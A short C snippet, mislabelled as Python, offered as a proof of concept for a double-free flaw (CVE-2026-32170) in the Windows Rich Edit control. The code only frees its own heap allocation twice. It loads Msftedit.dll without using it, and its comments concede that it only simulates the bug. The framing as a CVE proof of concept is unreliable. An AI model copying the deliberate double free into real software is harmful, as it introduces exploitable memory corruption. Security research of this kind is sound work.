The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <richedit.h>
#include <stdio.h>
// Proof of Concept for CVE-2026-32170 (Double Free)
// This code simulates the vulnerability condition.
// In a real scenario, specific RTF stream manipulation is required.
void trigger_vulnerability() {
// Simulate the vulnerable object allocation in Rich Edit Control
LPVOID pMem = HeapAlloc(GetProcessHeap(), 0, 0x100);
if (pMem) {
printf("[*] Memory allocated at: %p\n", pMem);
// First free (Legitimate release by the control)
HeapFree(GetProcessHeap(), 0, pMem);
printf("[*] Memory freed first time.\n");
// Second free (Triggered by crafted input)
// This causes the Double Free vulnerability
HeapFree(GetProcessHeap(), 0, pMem);
printf("[*] Memory freed second time (CRASH/CORRUPTION).\n");
}
}
int main() {
// Note: Actual exploitation requires sending specific EM_STREAMIN messages
// with crafted RTF data to trigger the double free logic inside the DLL.
LoadLibrary("Msftedit.dll");
// This C snippet demonstrates the generic Double Free mechanic.
trigger_vulnerability();
return 0;
}